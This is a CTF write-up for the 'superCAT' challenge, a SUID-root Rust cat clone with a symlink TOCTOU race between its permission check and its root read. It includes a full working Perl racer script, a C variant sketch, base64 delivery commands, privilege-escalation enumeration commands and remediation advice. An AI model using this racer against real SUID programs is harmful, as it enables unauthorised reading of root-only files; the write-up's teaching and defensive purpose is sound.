← Back to Writeups
HTBN/APwn

superCAT

XESXOR8/23/20268 min read
#pwn#htb#n/a

superCAT

Platform: GPN CTF | Category: Pwn | Type: Challenge | Difficulty: Medium | OS: NA | Author: D3v0o0Nu11 | Date: 2026-05-30 | Status: Solved Techniques: toctou_symlink_swap, atomic_symlink_rename, suid_path_check_use_race, perl_racer

Summary

Task: SUID-root Rust reimplementation of cat that re-runs its own permission checks in userland; std::fs::metadata (check) and fs::read_to_string (use) both follow symlinks on the same path with no fd pinning. Solution: TOCTOU symlink-swap race — flip a symlink between a decoy file we own and /flag so metadata sees the decoy (check passes) while the root read resolves to /flag, leaking the flag.

Recon

Port scan

nmap -p- -sV -sC <TARGET> --min-rate 1000 -Pn
PortServiceVersionNotes
<PORT><SVC><VER><notes>

Enumeration highlights

  • Event: kitctf | ID: 20260530_kitctf_supercat
  • Tags: race_condition, toctou, suid, privilege_escalation, symlink, rust, file_disclosure, proc_status
  • Indicators: SUID root binary re-implements access control in userland, std::fs::metadata then fs::read_to_string on same user-controlled path, both check and use follow symlinks, no file-descriptor pinning between check and read, only perl available on box (no gcc/python)
  • Source: 20260530_kitctf_supercat.md

Foothold

Vulnerability / Misconfiguration

  1. Toctou_symlink_swap
  2. Atomic_symlink_rename
  3. Suid_path_check_use_race
  4. Perl_racer
<command>

Exploitation

  • See original writeup content for detailed exploitation.

Privilege Escalation

Enumeration

sudo -l
find / -perm -4000 2>/dev/null
getcap -r / 2>/dev/null
cat /etc/crontab
ps aux

Exploitation

  1. N/A for challenge-type writeup; see exploitation above.
  2. Flag obtained via challenge solve.
<command>

Flags

FlagLocationValue
flagREDACTED

Key Takeaways / Lessons

  • toctou_symlink_swap
  • atomic_symlink_rename
  • suid_path_check_use_race
  • perl_racer
  • Tags: race_condition, toctou, suid, privilege_escalation, symlink, rust, file_disclosure, proc_status

Original Writeup

<details><summary>Click to expand original content</summary>

Description

SuperCat. DO NOT EAT. The better, newer, more tasteful version of cat. Obv. highly opinionated

A SUID-root binary /usr/local/bin/supercat is a Rust reimplementation of cat. Provided files (supercat.tar.gz): main.rs, Dockerfile, Cargo.toml, Cargo.lock. We connect as user ctf (uid 1000) over ncat --ssl <host> 443, which (via socat ... EXEC:bash) drops us into a bash shell as ctf. The goal is to read /flag (owned root:root, mode 0400).

The word "highly opinionated" is the semantic clue: the program does NOT trust the kernel for access control — it re-implements the checks itself in userland. That re-implementation is the bug.

Environment / Setup

  • /flagroot:root, mode 0400 (only root may read).
  • /usr/local/bin/supercat — SUID root (chmod 4755, chown root:root).
  • We are ctf (uid 1000, gid 1000, groups=1000), Debian bullseye image, kernel 6.12.
  • Tooling on the box: only perl was present — no gcc/cc, no python/python3. This dictated the exploit language (Perl racer rather than C).

Baseline behaviour:

$ supercat /flag
this super cat wont be tricked by your pesky bribery attempts...
$ supercat /tmp/m          # a file we own, mode 0644
<contents printed 4 times>  # once per passing permission check

Analysis — the four checks and why /flag fails them

main.rs does, in pseudocode:

let file_meta = std::fs::metadata(file)?;          // (1) CHECK: stats the path
let (uid, gid, groups) = get_permissions();        // (2) caller's REAL uid/gid/groups
                                                   //     parsed from /proc/self/status (ctf=1000)
let mode = file_meta.mode();

// (3) four independent checks; each PASSING check calls grant_read(file):
if uid == file_meta.uid() && (mode & 0o400) != 0 { grant_read(file); }   // owner read
if gid == file_meta.gid() && (mode & 0o040) != 0 { grant_read(file); }   // group read
if groups.contains(&file_meta.gid()) && (mode & 0o040) != 0 { grant_read(file); } // supp. group
if (mode & 0o004) != 0 { grant_read(file); }                             // other read

// grant_read: fs::read_to_string(file) then print  -> runs AS ROOT, follows symlinks

Two critical facts:

  • std::fs::metadata follows symlinks — it reports the uid/gid/mode of the symlink target, not the link.
  • grant_read calls fs::read_to_string(file) on the same path string — a second, independent resolution that also follows symlinks, and because the binary is SUID root, this read happens as root.

Why /flag fails all four checks honestly:

CheckCondition/flag is root:root 0400
owneruid(1000) == file.uid & 0o400file.uid == 0fail
groupgid(1000) == file.gid & 0o040file.gid == 0, and 0o040 bit clear → fail
supp.groups ∋ file.gid & 0o040group 0 not in our groups, bit clear → fail
other0o004other-read bit clear → fail

So an honest supercat /flag only prints the troll message.

Root cause — TOCTOU symlink-swap (check ≠ use)

The check (metadata(file)) and the use (read_to_string(file) inside grant_read) are two separate path resolutions of the same user-controlled path, and both follow symlinks. There is no file-descriptor pinning between them (the program never open()s once and then fstat()s the same fd). That is a classic time-of-check-to-time-of-use race.

If file is a symlink we own, we can swap its target between the two operations:

  • During metadata(): link → a decoy file we own (uid 1000, mode 0444). The owner check uid == file.uid && 0o400 passes (and the 0o044 bits make the group/supp/other checks pass too).
  • Before read_to_string(): link → /flag. The privileged root read resolves to /flag and leaks the flag.

Memory safety (Rust) is irrelevant here — this is a logic/ordering bug. The flag itself (REDACTED) is the author's joke about exactly that.

Exploitation — step by step

  1. Create a decoy file mine owned by ctf, mode 0444, with one line decoy.
  2. Create a symlink f. We will flip its target between /flag and mine.
  3. Fork a swapper child that atomically flips f in a tight loop. Atomicity is achieved with the create-temp-symlink + rename() trick so f is never momentarily absent:
  • unlink $T; symlink("/flag",$T); rename($T,$F);
  • unlink $T; symlink($M,$T); rename($T,$F);
  1. Parent loop repeatedly runs supercat f and greps stdout for GPNCTF{...}.
  2. We win when metadata() observes the decoy (so a check passes) while the subsequent root read_to_string() resolves to /flag.

Delivery: the Perl racer was base64-encoded locally, piped over the ncat --ssl bash shell, decoded to /tmp/race.pl, and run under timeout.

# local -> remote
base64 -w0 race.pl | ncat --ssl <host> 443
# then on the remote shell:
base64 -d > /tmp/race.pl <<'B64'
<...payload...>
B64
timeout 60 perl /tmp/race.pl

Solve script — race.pl

#!/usr/bin/perl
use strict; use warnings;
use POSIX ":sys_wait_h";

my $BIN = "/usr/local/bin/supercat";
my $F   = "f";          # the symlink supercat will open
my $M   = "mine";       # decoy file we own (uid 1000, mode 0444)
my $T   = ".tmp_link";  # temp link used for atomic rename swap

# 1) decoy file we own, world-readable -> makes a check pass
open(my $fh, ">", $M) or die "decoy: $!";
print $fh "decoy\n";
close($fh);
chmod 0444, $M;

# 2) initial symlink points at the decoy
unlink $F;
symlink($M, $F) or die "symlink: $!";

# 3) swapper child: atomically flip f between /flag and the decoy
my $pid = fork();
die "fork: $!" unless defined $pid;
if ($pid == 0) {
    while (1) {
        unlink $T; symlink("/flag", $T); rename($T, $F);
        unlink $T; symlink($M,     $T); rename($T, $F);
    }
    exit 0;
}

# 4) parent: hammer supercat and look for the flag
for my $i (1 .. 200000) {
    my $out = `$BIN $F 2>/dev/null`;
    if ($out =~ /(GPNCTF\{[^}]*\})/) {
        print "WIN iter $i\n$out";
        kill 'KILL', $pid; waitpid($pid, 0);
        exit 0;
    }
}
kill 'KILL', $pid; waitpid($pid, 0);
print "no win\n";

Winning output

It won on iteration 4. The raw stdout literally showed:

decoy
GPNCTF{REDACTED}
GPNCTF{REDACTED}
GPNCTF{REDACTED}
this super cat wont be tricked by your pesky bribery attempts...

Interpretation: metadata() saw the decoy (mode 0444), so the owner, group and supplementary-group checks all passed; for each of those three passing checks the root read_to_string() had already resolved the symlink to /flag, printing the flag three times. The single decoy line and the final troll line are the iterations where the swap landed the other way.

C variant note

If gcc/cc had been present, an equivalent (often faster) racer is race.c: a pthread swapper thread doing the same symlink+rename flip while the main thread fork/execs supercat f in a loop. Compile only if a C compiler exists:

// race.c (sketch) — compile: cc -O2 -pthread race.c -o race
// thread: loop { remove(T); symlink("/flag",T); rename(T,F);
//                remove(T); symlink(M,T);        rename(T,F); }
// main:   loop { fork(); child: execl(BIN,"supercat",F,NULL); parent: read & grep }

Because only perl was available on the target, the Perl racer was the correct choice — no compiler, no Python.

Remediation

  • A SUID program must never re-implement access control and then open() by path. Correct approaches:
  • open() the file once and fstat() that same fd (check-and-use on a single descriptor — no second path resolution).
  • Use faccessat(AT_FDCWD, path, R_OK, AT_EACCESS | AT_SYMLINK_NOFOLLOW) / open with O_NOFOLLOW so symlinks cannot be substituted.
  • Drop privileges (setuid to the real uid) before reading user-named paths, letting the kernel enforce permissions.
  • Parsing real uid/gid from /proc/self/status to make trust decisions is also fragile, but the actually-exploited bug is the path-based check/use race, not the proc parsing.
  • Memory-safe languages (Rust) do not prevent logic/TOCTOU vulnerabilities.
</details>

Auto-tracked: saved to WriteUps; run /xesor-revise to fold lessons into XESXor_Methodology.md.

signed by XESXOR